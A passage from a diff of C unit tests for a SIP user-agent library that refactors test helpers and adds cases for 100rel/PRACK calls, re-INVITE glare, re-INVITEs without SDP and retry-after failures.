+		 TAG_END());
+  fail_unless_event(nua_r_set_params, 200);
+
+  soa_generate_offer(soa, 1, NULL);
+  request_with_sdp(dialog, SIP_METHOD_INVITE, NULL,
+		   SIPTAG_SUPPORTED_STR("100rel"),
+		   TAG_END());
+
+  invite = s2_wait_for_event(nua_i_invite, 100); fail_unless(invite != NULL);
+  fail_unless(s2_check_callstate(nua_callstate_received));
+
+  nh = invite->nh; fail_if(!nh);
+
+  s2_free_event(invite);
+
+  response = s2_sip_wait_for_response(100, SIP_METHOD_INVITE);
+  fail_if(!response);
+
+  nua_respond(nh, SIP_183_SESSION_PROGRESS,
+	      SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
+	      TAG_END());
+  fail_unless(s2_check_callstate(nua_callstate_early));
+
+  response = s2_sip_wait_for_response(183, SIP_METHOD_INVITE);
+  fail_if(!response);
+  fail_if(response->sip->sip_require);
+  s2_sip_update_dialog(dialog, response);
+  process_answer(response);
+  s2_sip_free_message(response);
+
+  nua_respond(nh, SIP_200_OK, TAG_END());
+
+  fail_unless(s2_check_callstate(nua_callstate_completed));
+
+  response = s2_sip_wait_for_response(200, SIP_METHOD_INVITE);
+  fail_if(!response);
+  s2_sip_update_dialog(dialog, response);
+  s2_sip_free_message(response);
+
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
+
+  fail_unless_event(nua_i_ack, 200);
+  fail_unless(s2_check_callstate(nua_callstate_ready));
+
+  bye_to_nua(nh, TAG_END());
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(call_2_4_5)
+{
+  nua_handle_t *nh;
+  struct message *invite, *prack, *cancel;
+  int i;
+  int with_sdp;
+  sip_from_t *branch1, *branch2;
+
+  /* Testcase for bug FSCORE-338 -
+     forked transactions getting canceled and terminated properly. */
+
+  S2_CASE("2.4.5", "Destroy proceeding call with 100rel",
+	  "NUA sends INVITE, "
+	  "receives 183, sends PRACK, receives 200 for it, "
+	  "receives 180, sends PRACK, receives 200 for it, "
+          "handle is destroyed.");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+
+  invite = invite_sent_by_nua(
+    nh,
+    NUTAG_PROXY(s2sip->tcp.contact->m_url),
+    NUTAG_MEDIA_ENABLE(0),
+    NUTAG_AUTOACK(0),
+    SIPTAG_CONTENT_TYPE_STR("application/sdp"),
+    SIPTAG_PAYLOAD_STR(
+      "v=0" CRLF
+      "o=- 6805647540234172778 5821668777690722690 IN IP4 127.0.0.1" CRLF
+      "s=-" CRLF
+      "c=IN IP4 127.0.0.1" CRLF
+      "m=audio 5004 RTP/AVP 0 8" CRLF),
+    TAG_END());
+
+  prack = respond_with_100rel(invite, dialog, with_sdp = 0,
+			      SIP_183_SESSION_PROGRESS,
+			      SIPTAG_CONTACT(s2sip->tcp.contact),
+			      TAG_END());
+  s2_sip_respond_to(prack, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(prack), prack = NULL;
+  fail_unless(s2_check_callstate(nua_callstate_proceeding));
+  fail_unless_event(nua_r_prack, 200);
+
+  prack = respond_with_100rel(invite, dialog, with_sdp = 0,
+			      SIP_180_RINGING,
+			      SIPTAG_CONTACT(s2sip->tcp.contact),
+			      TAG_END());
+  s2_sip_respond_to(prack, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(prack), prack = NULL;
+  fail_unless(s2_check_callstate(nua_callstate_proceeding));
+  fail_unless_event(nua_r_prack, 200);
+
+  branch1 = dialog->local;
+  branch2 = dialog->local = sip_from_dup(dialog->home, invite->sip->sip_to);
+  sip_from_tag(dialog->home, dialog->local, s2_sip_generate_tag(dialog->home));
+
+  nua_handle_destroy(nh), nh = NULL;
+
+  cancel = s2_sip_wait_for_request(SIP_METHOD_CANCEL);
+  s2_sip_respond_to(cancel, dialog, SIP_200_OK, TAG_END());
+
+  for (i = 1; i < 4; i++) {
+    s2_nua_fast_forward(1, s2base->root);
+  }
+
+  s2_sip_respond_to(invite, dialog, SIP_487_REQUEST_CANCELLED, TAG_END());
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+
+  /* Time out requests */
+  for (i = 1; i < 128; i++) {
+    s2_nua_fast_forward(1, s2base->root);
+  }
+}
+END_TEST
+
+TCase *invite_100rel_tcase(int threading)
+{
   TCase *tc = tcase_create("2.4 - INVITE with 100rel");
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+  add_call_fixtures(tc, threading);
   {
     tcase_add_test(tc, call_2_4_1);
     tcase_add_test(tc, call_2_4_2);
+    tcase_add_test(tc, call_2_4_3);
+    tcase_add_test(tc, call_2_4_4);
+    tcase_add_test(tc, call_2_4_5);
   }
   return tc;
 }
@@ -1279,14 +1593,14 @@
   struct message *invite, *prack, *update;
   int with_sdp;
 
-  s2_case("2.5.1", "Call with preconditions",
+  S2_CASE("2.5.1", "Call with preconditions",
 	  "NUA sends INVITE, "
 	  "receives 183, sends PRACK, receives 200 for it, "
 	  "sends UPDATE, receives 200 for it, "
 	  "receives 180, sends PRACK, receives 200 for it, "
           "receives 200, send ACK.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(
     nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
@@ -1303,11 +1617,11 @@
     prack, dialog, SIP_200_OK,
     SIPTAG_REQUIRE_STR("100rel"),
     TAG_END());
-  s2_free_message(prack), prack = NULL;
-  fail_unless(s2_check_event(nua_r_prack, 200));
+  s2_sip_free_message(prack), prack = NULL;
+  fail_unless_event(nua_r_prack, 200);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
-  update = s2_wait_for_request(SIP_METHOD_UPDATE);
+  update = s2_sip_wait_for_request(SIP_METHOD_UPDATE);
   /* UPDATE sent by stack, stack sends event for it */
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
@@ -1315,24 +1629,24 @@
   respond_with_sdp(
     update, dialog, SIP_200_OK,
     TAG_END());
-  s2_free_message(update), update = NULL;
+  s2_sip_free_message(update), update = NULL;
 
-  fail_unless(s2_check_event(nua_r_update, 200));
+  fail_unless_event(nua_r_update, 200);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   prack = respond_with_100rel(invite, dialog, with_sdp = 0,
 			      SIP_180_RINGING,
 			      TAG_END());
-  s2_respond_to(prack, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(prack), prack = NULL;
+  s2_sip_respond_to(prack, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(prack), prack = NULL;
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
-  fail_unless(s2_check_event(nua_r_prack, 200));
+  fail_unless_event(nua_r_prack, 200);
 
-  s2_respond_to(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  s2_sip_respond_to(invite, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 
   bye_to_nua(nh, TAG_END());
 
@@ -1347,7 +1661,7 @@
   sip_rseq_t rs[1];
   sip_rack_t rack[1];
 
-  s2_case("2.5.2", "Call with preconditions - send 200 w/ ongoing PRACK ",
+  S2_CASE("2.5.2", "Call with preconditions - send 200 w/ ongoing PRACK ",
 	  "NUA sends INVITE, "
 	  "receives 183, sends PRACK, "
           "receives 200 to INVITE, "
@@ -1356,7 +1670,7 @@
 	  "sends UPDATE, "
 	  "receives 200 to UPDATE.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(
     nh,
@@ -1372,7 +1686,7 @@
     SIPTAG_REQUIRE_STR("100rel"),
     SIPTAG_RSEQ(rs),
     TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 183));
+  fail_unless_event(nua_r_invite, 183);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   sip_rack_init(rack)->ra_response = s2_rseq;
@@ -1381,24 +1695,24 @@
   rack->ra_method_name = invite->sip->sip_cseq->cs_method_name;
 
   nua_prack(nh, SIPTAG_RACK(rack), TAG_END());
-  prack = s2_wait_for_request(SIP_METHOD_PRACK);
+  prack = s2_sip_wait_for_request(SIP_METHOD_PRACK);
   process_offer(prack);
 
-  s2_respond_to(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  s2_sip_respond_to(invite, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_completing));
 
   respond_with_sdp(
     prack, dialog, SIP_200_OK,
     TAG_END());
-  s2_free_message(prack), prack = NULL;
-  fail_unless(s2_check_event(nua_r_prack, 200));
+  s2_sip_free_message(prack), prack = NULL;
+  fail_unless_event(nua_r_prack, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
 
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 
-  update = s2_wait_for_request(SIP_METHOD_UPDATE);
+  update = s2_sip_wait_for_request(SIP_METHOD_UPDATE);
   /* UPDATE sent by stack, stack sends event for it */
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
@@ -1406,9 +1720,9 @@
   respond_with_sdp(
     update, dialog, SIP_200_OK,
     TAG_END());
-  s2_free_message(update), update = NULL;
+  s2_sip_free_message(update), update = NULL;
 
-  fail_unless(s2_check_event(nua_r_update, 200));
+  fail_unless_event(nua_r_update, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
 
   bye_to_nua(nh, TAG_END());
@@ -1424,7 +1738,7 @@
   sip_rseq_t rs[1];
   sip_rack_t rack[1];
 
-  s2_case("2.5.3", "Call with preconditions - send 200 w/ ongoing UPDATE ",
+  S2_CASE("2.5.3", "Call with preconditions - send 200 w/ ongoing UPDATE ",
 	  "NUA sends INVITE, "
 	  "receives 183, sends PRACK, receives 200 to PRACK, "
 	  "sends UPDATE, "
@@ -1432,7 +1746,7 @@
 	  "receives 200 to UPDATE, "
 	  "sends ACK.");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local), TAG_END());
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
 
   invite = invite_sent_by_nua(
     nh,
@@ -1448,7 +1762,7 @@
     SIPTAG_REQUIRE_STR("100rel"),
     SIPTAG_RSEQ(rs),
     TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 183));
+  fail_unless_event(nua_r_invite, 183);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
   sip_rack_init(rack)->ra_response = s2_rseq;
@@ -1457,33 +1771,33 @@
   rack->ra_method_name = invite->sip->sip_cseq->cs_method_name;
 
   nua_prack(nh, SIPTAG_RACK(rack), TAG_END());
-  prack = s2_wait_for_request(SIP_METHOD_PRACK);
+  prack = s2_sip_wait_for_request(SIP_METHOD_PRACK);
   process_offer(prack);
   respond_with_sdp(
     prack, dialog, SIP_200_OK,
     TAG_END());
-  s2_free_message(prack), prack = NULL;
-  fail_unless(s2_check_event(nua_r_prack, 200));
+  s2_sip_free_message(prack), prack = NULL;
+  fail_unless_event(nua_r_prack, 200);
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
-  update = s2_wait_for_request(SIP_METHOD_UPDATE);
+  update = s2_sip_wait_for_request(SIP_METHOD_UPDATE);
   /* UPDATE sent by stack, stack sends event for it */
   fail_unless(s2_check_callstate(nua_callstate_proceeding));
 
-  s2_respond_to(invite, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(invite);
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  s2_sip_respond_to(invite, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(invite);
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_completing));
 
   process_offer(update);
   respond_with_sdp(
     update, dialog, SIP_200_OK,
     TAG_END());
-  s2_free_message(update), update = NULL;
+  s2_sip_free_message(update), update = NULL;
 
-  fail_unless(s2_check_event(nua_r_update, 200));
+  fail_unless_event(nua_r_update, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
 
   bye_to_nua(nh, TAG_END());
 
@@ -1491,10 +1805,10 @@
 }
 END_TEST
 
-TCase *invite_precondition_tcase(void)
+TCase *invite_precondition_tcase(int threading)
 {
   TCase *tc = tcase_create("2.5 - Call with preconditions");
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+  add_call_fixtures(tc, threading);
   {
     tcase_add_test(tc, call_2_5_1);
     tcase_add_test(tc, call_2_5_2);
@@ -1512,7 +1826,7 @@
   struct message *invite, *ack;
   int i;
 
-  s2_case("2.6.1", "Queued re-INVITEs",
+  S2_CASE("2.6.1", "Queued re-INVITEs",
 	  "NUA receives INVITE, "
 	  "sends re-INVITE twice, "
 	  "sends BYE.");
@@ -1525,17 +1839,17 @@
   for (i = 0; i < 2; i++) {
     fail_unless(s2_check_callstate(nua_callstate_calling));
 
-    invite = s2_wait_for_request(SIP_METHOD_INVITE);
+    invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
     fail_if(!invite);
     process_offer(invite);
     respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-    s2_free_message(invite);
+    s2_sip_free_message(invite);
 
-    ack = s2_wait_for_request(SIP_METHOD_ACK);
+    ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
     fail_if(!ack);
-    s2_free_message(ack);
+    s2_sip_free_message(ack);
 
-    fail_unless(s2_check_event(nua_r_invite, 200));
+    fail_unless_event(nua_r_invite, 200);
     fail_unless(s2_check_callstate(nua_callstate_ready));
   }
 
@@ -1550,7 +1864,7 @@
   nua_handle_t *nh;
   struct message *invite, *ack, *response;
 
-  s2_case("2.6.2", "Re-INVITE glare",
+  S2_CASE("2.6.2", "Re-INVITE glare",
 	  "NUA sends re-INVITE and then receives re-INVITE, "
 	  "sends BYE.");
 
@@ -1562,40 +1876,40 @@
   soa_generate_offer(soa, 1, NULL);
   request_with_sdp(dialog, SIP_METHOD_INVITE, NULL, TAG_END());
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   fail_if(!invite);
-  respond_with_sdp(invite, dialog, SIP_500_INTERNAL_SERVER_ERROR,
-		   SIPTAG_RETRY_AFTER_STR("8"),
-		   TAG_END());
-  s2_free_message(invite);
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
+  s2_sip_respond_to(invite, dialog, SIP_500_INTERNAL_SERVER_ERROR,
+		    SIPTAG_RETRY_AFTER_STR("8"),
+		    TAG_END());
+  s2_sip_free_message(invite);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
   fail_if(!ack);
-  s2_free_message(ack);
+  s2_sip_free_message(ack);
 
-  response = s2_wait_for_response(491, SIP_METHOD_INVITE);
+  response = s2_sip_wait_for_response(491, SIP_METHOD_INVITE);
   fail_if(!response);
-  fail_if(s2_request_to(dialog, SIP_METHOD_ACK, NULL,
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL,
 			SIPTAG_VIA(sip_object(dialog->invite)->sip_via),
 			TAG_END()));
-  s2_free_message(response);
+  s2_sip_free_message(response);
   fail_if(soa_process_reject(soa, NULL) < 0);
 
   /* We get nua_r_invite with 100 trying (and 500 in sip->sip_status) */
-  fail_unless(s2_check_event(nua_r_invite, 100));
+  fail_unless_event(nua_r_invite, 100);
 
-  s2_fast_forward(10);
+  s2_nua_fast_forward(10, s2base->root);
 
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   process_offer(invite);
 
   respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
-  fail_unless(s2_check_event(nua_r_invite, 200));
+  fail_unless_event(nua_r_invite, 200);
   fail_unless(s2_check_callstate(nua_callstate_ready));
-  ack = s2_wait_for_request(SIP_METHOD_ACK);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
   fail_if(!ack);
-  s2_free_message(ack);
+  s2_sip_free_message(ack);
 
   bye_by_nua(nh, TAG_END());
 
@@ -1603,15 +1917,183 @@
 }
 END_TEST
 
+START_TEST(call_2_6_3)
+{
+  nua_handle_t *nh;
+  struct message *response;
 
-TCase *invite_glare_tcase(void)
+  S2_CASE("2.6.3", "Handling re-INVITE without SDP gracefully",
+	  "NUA receives INVITE, "
+	  "re-INVITE without SDP (w/o NUTAG_REFRESH_WITHOUT_SDP(), "
+	  "re-INVITE without SDP (using NUTAG_REFRESH_WITHOUT_SDP(), "
+	  "sends BYE.");
+
+  nh = invite_to_nua(
+    TAG_END());
+
+  s2_sip_request_to(dialog, SIP_METHOD_INVITE, NULL,
+		SIPTAG_USER_AGENT_STR("evil (evil) evil"),
+		TAG_END());
+
+  nua_respond(nh, SIP_200_OK, TAG_END());
+
+  fail_unless(s2_check_callstate(nua_callstate_completed));
+
+  response = s2_sip_wait_for_response(200, SIP_METHOD_INVITE);
+
+  fail_if(!response);
+  s2_sip_update_dialog(dialog, response);
+  fail_if(!response->sip->sip_content_type);
+  s2_sip_free_message(response);
+
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
+
+  fail_unless_event(nua_i_ack, 200);
+  fail_unless(s2_check_callstate(nua_callstate_ready));
+
+  s2_nua_fast_forward(10, s2base->root);
+
+  nua_set_hparams(nh, NUTAG_REFRESH_WITHOUT_SDP(1), TAG_END());
+  fail_unless_event(nua_r_set_params, 200);
+
+  s2_sip_request_to(dialog, SIP_METHOD_INVITE, NULL,
+		    SIPTAG_USER_AGENT_STR("evil (evil) evil"),
+		    TAG_END());
+
+  nua_respond(nh, SIP_200_OK, TAG_END());
+
+  fail_unless(s2_check_callstate(nua_callstate_completed));
+
+  response = s2_sip_wait_for_response(200, SIP_METHOD_INVITE);
+
+  fail_if(!response);
+  s2_sip_update_dialog(dialog, response);
+  fail_if(response->sip->sip_content_type);
+  s2_sip_free_message(response);
+
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
+
+  fail_unless_event(nua_i_ack, 200);
+  fail_unless(s2_check_callstate(nua_callstate_ready));
+
+  bye_by_nua(nh, TAG_END());
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(call_2_6_4)
 {
-  TCase *tc = tcase_create("2.6 - INVITE glare");
+  nua_handle_t *nh;
+  struct message *invite, *ack;
 
-  tcase_add_checked_fixture(tc, call_setup, call_teardown);
+  S2_CASE("2.6.4", "re-INVITEs w/o SDP",
+	  "NUA sends re-INVITE w/o SDP, "
+	  "receives SDP w/ offer, "
+	  "sends ACK w/ answer, "
+	  "sends BYE.");
+
+  /* Bug reported by Liu Yang 2009-01-11 */
+  nh = invite_to_nua(TAG_END());
+
+  nua_invite(nh, SIPTAG_PAYLOAD_STR(""), TAG_END());
+  fail_unless(s2_check_callstate(nua_callstate_calling));
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
+  fail_if(!invite);
+  fail_if(invite->sip->sip_content_type);
+  soa_generate_offer(soa, 1, NULL);
+  respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(invite);
+
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
+  fail_if(!ack);
+  process_answer(ack);
+  s2_sip_free_message(ack);
+
+  fail_unless_event(nua_r_invite, 200);
+  fail_unless(s2_check_callstate(nua_callstate_ready));
+
+  bye_by_nua(nh, TAG_END());
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(call_2_6_5)
+{
+  nua_handle_t *nh;
+  struct event *reinvite;
+  struct message *invite, *ack, *response;
+
+  /* Test case for FreeSwitch bugs #SFSIP-135, #SFSIP-137 */
+
+  S2_CASE("2.6.5", "Re-INVITE glare and 500 Retry-After",
+	  "NUA receives re-INVITE, replies with 200, "
+	  "sends re-INVITE, gets 500, gets ACK, retrys INVITE,"
+	  "sends BYE.");
+
+  nh = invite_to_nua(TAG_END());
+
+  soa_generate_offer(soa, 1, NULL);
+  request_with_sdp(dialog, SIP_METHOD_INVITE, NULL, TAG_END());
+  reinvite = s2_wait_for_event(nua_i_invite, 200); fail_unless(reinvite != NULL);
+  fail_unless(s2_check_callstate(nua_callstate_completed));
+  response = s2_sip_wait_for_response(200, SIP_METHOD_INVITE);
+  fail_if(!response);
+  s2_sip_update_dialog(dialog, response);
+  process_answer(response);
+  s2_sip_free_message(response);
+
+  nua_invite(nh, TAG_END());
+  fail_unless(s2_check_callstate(nua_callstate_calling));
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
+  fail_if(!invite);
+  s2_sip_respond_to(invite, dialog, SIP_500_INTERNAL_SERVER_ERROR,
+		    SIPTAG_RETRY_AFTER_STR("7"),
+		    TAG_END());
+  s2_sip_free_message(invite);
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
+  fail_if(!ack);
+  s2_sip_free_message(ack);
+
+  /* We get nua_r_invite with 100 trying (and 500 in sip->sip_status) */
+  fail_unless_event(nua_r_invite, 100);
+
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_ACK, NULL, TAG_END()));
+  fail_unless_event(nua_i_ack, 200);
+  fail_unless(s2_check_callstate(nua_callstate_ready));
+
+  s2_nua_fast_forward(10, s2base->root);
+
+  fail_unless(s2_check_callstate(nua_callstate_calling));
+
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
+  process_offer(invite);
+
+  respond_with_sdp(invite, dialog, SIP_200_OK, TAG_END());
+  fail_unless_event(nua_r_invite, 200);
+  fail_unless(s2_check_callstate(nua_callstate_ready));
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
+  fail_if(!ack);
+  s2_sip_free_message(ack);
+
+  bye_by_nua(nh, TAG_END());
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+TCase *reinvite_tcase(int threading)
+{
+  TCase *tc = tcase_create("2.6 - re-INVITEs");
+
+  add_call_fixtures(tc, threading);
   {
     tcase_add_test(tc, call_2_6_1);
     tcase_add_test(tc, call_2_6_2);
+    tcase_add_test(tc, call_2_6_3);
+    tcase_add_test(tc, call_2_6_4);
+    tcase_add_test(tc, call_2_6_5);
   }
   return tc;
 }
@@ -1623,10 +2105,10 @@
 START_TEST(call_3_1_1)
 {
   nua_handle_t *nh;
-  struct message *invite;
+  struct message *invite, *ack;
 
-  s2_case("3.1.1", "Call failure", "Call fails with 403 response");
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local),
+  S2_CASE("3.1.1", "Call failure", "Call fails with 403 response");
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor),
 		  TAG_END());
 
   nua_invite(nh, SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8"),
@@ -1634,13 +2116,18 @@
 
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   fail_if(!invite);
-  s2_respond_to(invite, NULL, SIP_403_FORBIDDEN, TAG_END());
-  s2_free_message(invite);
+  s2_sip_respond_to(invite, NULL, SIP_403_FORBIDDEN,
+		SIPTAG_TO_STR("UAS Changed <sip:To@Header.field.invalid>"),
+		TAG_END());
+  s2_sip_free_message(invite);
 
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
-  fail_unless(s2_check_event(nua_r_invite, 403));
+  ack = s2_sip_wait_for_request(SIP_METHOD_ACK);
+  fail_if(!ack);
+  fail_if(strcmp(ack->sip->sip_to->a_display, "UAS Changed"));
+  s2_sip_free_message(ack);
+  fail_unless_event(nua_r_invite, 403);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
   nua_handle_destroy(nh);
@@ -1654,10 +2141,10 @@
   struct message *invite;
   int i;
 
-  s2_case("3.1.2", "Call fails after too many retries",
+  S2_CASE("3.1.2", "Call fails after too many retries",
 	  "Call fails after 4 times 500 Retry-After");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local),
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor),
 		  NUTAG_RETRY_COUNT(3),
 		  TAG_END());
 
@@ -1666,20 +2153,20 @@
 
   for (i = 0;; i++) {
     fail_unless(s2_check_callstate(nua_callstate_calling));
-    invite = s2_wait_for_request(SIP_METHOD_INVITE);
+    invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
     fail_if(!invite);
-    s2_respond_to(invite, NULL, SIP_500_INTERNAL_SERVER_ERROR,
+    s2_sip_respond_to(invite, NULL, SIP_500_INTERNAL_SERVER_ERROR,
 		  SIPTAG_RETRY_AFTER_STR("5"),
 		  TAG_END());
-    s2_free_message(invite);
-    fail_unless(s2_check_request(SIP_METHOD_ACK));
+    s2_sip_free_message(invite);
+    fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
     if (i == 3)
       break;
-    fail_unless(s2_check_event(nua_r_invite, 100));
-    s2_fast_forward(5);
+    fail_unless_event(nua_r_invite, 100);
+    s2_nua_fast_forward(5, s2base->root);
   }
 
-  fail_unless(s2_check_event(nua_r_invite, 500));
+  fail_unless_event(nua_r_invite, 500);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
   nua_handle_destroy(nh);
@@ -1691,8 +2178,8 @@
   nua_handle_t *nh;
   struct message *invite;
 
-  s2_case("3.2.1", "Re-INVITE failure", "Re-INVITE fails with 403 response");
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local),
+  S2_CASE("3.2.1", "Re-INVITE failure", "Re-INVITE fails with 403 response");
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor),
 		  TAG_END());
 
   invite_by_nua(nh, TAG_END());
@@ -1701,13 +2188,13 @@
 
   fail_unless(s2_check_callstate(nua_callstate_calling));
 
-  invite = s2_wait_for_request(SIP_METHOD_INVITE);
+  invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
   fail_if(!invite);
-  s2_respond_to(invite, NULL, SIP_403_FORBIDDEN, TAG_END());
-  s2_free_message(invite);
+  s2_sip_respond_to(invite, NULL, SIP_403_FORBIDDEN, TAG_END());
+  s2_sip_free_message(invite);
 
-  fail_unless(s2_check_request(SIP_METHOD_ACK));
-  fail_unless(s2_check_event(nua_r_invite, 403));
+  fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
+  fail_unless_event(nua_r_invite, 403);
   /* Return to previous state */
   fail_unless(s2_check_callstate(nua_callstate_ready));
 
@@ -1722,10 +2209,10 @@
   struct message *invite, *bye;
   int i;
 
-  s2_case("3.2.2", "Re-INVITE fails after too many retries",
+  S2_CASE("3.2.2", "Re-INVITE fails after too many retries",
 	  "Call fails after 4 times 500 Retry-After");
 
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local),
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor),
 		  NUTAG_RETRY_COUNT(3),
 		  TAG_END());
 
@@ -1736,27 +2223,27 @@
 
   for (i = 0;; i++) {
     fail_unless(s2_check_callstate(nua_callstate_calling));
-    invite = s2_wait_for_request(SIP_METHOD_INVITE);
+    invite = s2_sip_wait_for_request(SIP_METHOD_INVITE);
     fail_if(!invite);
-    s2_respond_to(invite, NULL, SIP_500_INTERNAL_SERVER_ERROR,
+    s2_sip_respond_to(invite, NULL, SIP_500_INTERNAL_SERVER_ERROR,
 		  SIPTAG_RETRY_AFTER_STR("5"),
 		  TAG_END());
-    s2_free_message(invite);
-    fail_unless(s2_check_request(SIP_METHOD_ACK));
+    s2_sip_free_message(invite);
+    fail_unless(s2_sip_check_request(SIP_METHOD_ACK));
     if (i == 3)
       break;
-    fail_unless(s2_check_event(nua_r_invite, 100));
-    s2_fast_forward(5);
+    fail_unless_event(nua_r_invite, 100);
+    s2_nua_fast_forward(5, s2base->root);
   }
 
-  fail_unless(s2_check_event(nua_r_invite, 500));
+  fail_unless_event(nua_r_invite, 500);
   /* Graceful termination */
   fail_unless(s2_check_callstate(nua_callstate_terminating));
-  bye = s2_wait_for_request(SIP_METHOD_BYE);
+  bye = s2_sip_wait_for_request(SIP_METHOD_BYE);
   fail_if(!bye);
-  s2_respond_to(bye, dialog, SIP_200_OK, TAG_END());
-  s2_free_message(bye);
-  fail_unless(s2_check_event(nua_r_bye, 200));
+  s2_sip_respond_to(bye, dialog, SIP_200_OK, TAG_END());
+  s2_sip_free_message(bye);
+  fail_unless_event(nua_r_bye, 200);
   fail_unless(s2_check_callstate(nua_callstate_terminated));
 
   nua_handle_destroy(nh);
@@ -1769,8 +2256,8 @@
   nua_handle_t *nh;
   struct message *invite;
 
-  s2_case("3.2.3", "Re-INVITE failure", "Re-INVITE fails with 491 response");
-  nh = nua_handle(nua, NULL, SIPTAG_TO(s2->local),
+  S2_CASE("3.2.3", "Re-INVITE failure", "Re-INVITE fails with 491 response");
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor),
 		  TAG_END());
 
   invite_by_nua(nh, TAG_END());
